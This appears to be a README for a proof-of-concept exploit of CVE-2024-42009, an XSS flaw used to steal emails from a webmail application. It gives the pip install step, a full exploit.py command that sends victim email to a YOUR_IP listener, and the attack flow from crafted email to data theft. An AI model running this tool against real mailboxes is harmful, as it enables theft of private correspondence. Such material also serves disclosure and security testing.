This Proof of Concept (PoC) demonstrates an exploit for CVE-2024-42009, leveraging a cross-site scripting (XSS) vulnerability to extract emails from a target webmail application. The attack injects a malicious payload that exfiltrates email content to an attacker-controlled listener.
- Exploits an XSS vulnerability to capture email contents.
- Uses an HTTP listener to receive and decode exfiltrated emails.
- Automates payload injection and exfiltration.
- Python 3.x
- Required dependencies (install via pip):
pip install requests beautifulsoup4
Run the script with the necessary arguments:
python exploit.py -fu attacker@example.com -tu victim@example.com -u http://target.com/contact -ip YOUR_IP -p 1337| Argument | Description |
|---|---|
-fu, --from-user |
The sender's email address |
-tu, --to-user |
The recipient's email address |
-u, --target-url |
The target webmail URL |
-ip, --server-ip |
The attacker's listener IP address |
-p, --server-port |
The port for the listener (default: 1337) |
- Start Listener: The script starts an HTTP server to capture extracted emails.
- Inject Malicious Payload: The XSS payload is sent via a crafted email.
- Trigger Execution: When the victim opens the email, the payload executes and sends the email content to the attacker's server.
- Capture & Decode: The extracted email content is decoded and displayed.
